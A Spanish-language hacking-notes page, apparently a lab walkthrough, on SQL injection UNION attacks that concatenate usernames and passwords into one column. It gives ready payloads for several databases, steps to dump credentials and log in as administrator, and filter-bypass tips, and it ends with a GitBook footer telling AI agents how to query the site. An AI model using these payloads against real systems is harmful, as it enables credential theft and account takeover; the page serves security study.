> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# Ataque UNION para extraer múltiples valores en una sola columna

### Ataque UNION de inyección SQL, recuperación de múltiples valores en una sola columna

**Objetivo:** recuperar `username` y `contraseña` concatenados en una sola columna y luego autenticarse en `administrator`.

#### (1) Requisitos rápidos

* Conoce el **número de columnas** devueltas por la consulta (ver `ORDER BY` / `UNION NULL` pruebas).
* Identifica qué columna(s) de salida se devuelven en la respuesta (constantes visibles).

#### 2) Payloads de ejemplo (según el SGBD)

> Ajusta el número de columnas (`NULL`/constante) para que coincida con la consulta vulnerable.

* **Oracle / PostgreSQL (concatena con `||`) — solicitud típica de 2 columnas:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 columnas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT o +) - 2 columnas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

o

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Si la solicitud original tiene 3 columnas (p. ej.):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Si los tipos son incompatibles** (error UNION): fuerza la conversión/cast:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Procedimiento conciso

1. Determina `N` columnas (`ORDER BY 1..N`).
2. Confirma `UNION SELECT` por `NULL`/constantes.
3. Inyecta el payload de concatenación adaptado al SGBD y al número de columnas.
4. Encuentra las `username:password` líneas en la respuesta.
5. Identifica la entrada `administrador:...` y utiliza estas credenciales para iniciar sesión en la página de autenticación.

#### 4) Notas prácticas

* Si las contraseñas están hasheadas (por ejemplo, bcrypt), el uso directo para iniciar sesión fallará; entonces necesitarás crackear la contraseña si está permitido o confirmar que las contraseñas se almacenan en texto claro (incidente de alta gravedad).
* Si la aplicación solo muestra una columna, la concatenación es el enfoque correcto; si renderiza varias columnas, prefiere `UNION SELECT username, password` para mayor claridad.
* Si `UNION` está filtrado, prueba variaciones en espacios/comentarios o funciones (`CONCAT`, `CHR`/`CHAR`) para eludir los filtros.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
